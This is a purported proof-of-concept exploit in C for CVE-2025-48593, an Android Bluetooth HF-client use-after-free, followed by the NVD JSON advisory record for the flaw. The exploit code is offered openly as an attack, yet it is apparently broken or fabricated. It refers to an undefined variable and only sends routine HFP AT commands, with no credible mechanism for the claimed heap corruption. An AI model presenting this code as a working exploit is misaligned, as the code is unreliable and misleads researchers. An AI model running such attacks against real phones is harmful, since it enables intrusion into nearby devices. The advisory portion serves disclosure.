CVE-2025-48593

// CVE-2025-48593 PoC - Android Bluetooth Use After Free // This PoC demonstrates triggering the use after free in bta_hf_client_cb_init // Attack requires adjacent Bluetooth access #include <bluetooth/bluetooth.h> #include <bluetooth/hci.h> #include <bluetooth/hci_lib.h> #include <bluetooth/rfcomm.h> int trigger_uaf_vulnerability(int sock) { // Step 1: Send crafted HFP initialization sequence char at_init[] = "AT+BRSF=0\r\n"; send(sock, at_init, strlen(at_init), 0); usleep(100000); // Step 2: Trigger HF Client initialization callback char at_hf[] = "AT+CIND=?\r\n"; send(sock, at_hf, strlen(at_at_hf), 0); usleep(100000); // Step 3: Force reinitialization to trigger use after free char at_reset[] = "AT+CHLD=?\r\n"; send(sock, at_reset, strlen(at_reset), 0); // Step 4: Send rapid connection/disconnection to corrupt heap for (int i = 0; i < 10; i++) { send(sock, "AT\r\n", 4, 0); usleep(50000); } return 0; }

{"cve": {"id": "CVE-2025-48593", "sourceIdentifier": "[email protected]", "published": "2025-11-18T05:16:10.350", "lastModified": "2025-11-19T18:50:36.580", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In bta_hf_client_cb_init of bta_hf_client_main.cc, there is a possible remote code execution due to a use after free. This could lead to remote code execution with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "879FFD0C-9B38-4CAA-B057-1086D794D469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:*:*:*:*:*:*:*", "matchCriteriaId": "2D49E611-5D53-479D-A981-42388FDC0E8D"}]}]}], "references": [{"url": "https://android.googlesource.com/platform/packages/modules/Bluetooth/+/5ed63461b44198c80d5aff7e1af1df812f782abb", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://android.googlesource.com/platform/packages/modules/Bluetooth/+/c69c78d7c4f623201f35831d32e6c401156e76cc", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://source.android.com/security/bulletin/2025-11-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}